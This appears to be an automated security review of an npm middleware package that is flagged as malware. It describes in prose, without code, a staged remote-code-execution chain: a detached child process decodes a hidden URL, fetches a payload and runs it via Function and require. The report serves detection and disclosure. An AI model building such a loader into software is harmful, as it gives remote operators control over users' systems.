AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is a concrete staged remote-code-execution chain, not merely a networking or evaluation primitive. Lack of an install hook limits the trigger but does not remove the malicious runtime behavior.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Application calls the exported middleware factory.

Impact

Remote operator can execute arbitrary Node.js code in the host process context.

Mechanism

Detached remote payload fetch followed by dynamic Function execution.

Attack narrative

At runtime, creating the middleware spawns a detached process for lib/caller.js. That file decodes an embedded endpoint, fetches a response field, compiles it with Function, and invokes it with require. This permits the endpoint operator to supply arbitrary code after package publication.

AI rationale

This is a concrete staged remote-code-execution chain, not merely a networking or evaluation primitive. Lack of an install hook limits the trigger but does not remove the malicious runtime behavior.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Middleware construction launches a detached Node child.
Child decodes an obscured remote URL and fetches response data.
Fetched response is compiled with Function and executed with require.
Remote-loader IIFE runs whenever lib/caller.js starts.

Evidence against

package.json has no preinstall, install, or postinstall hook.
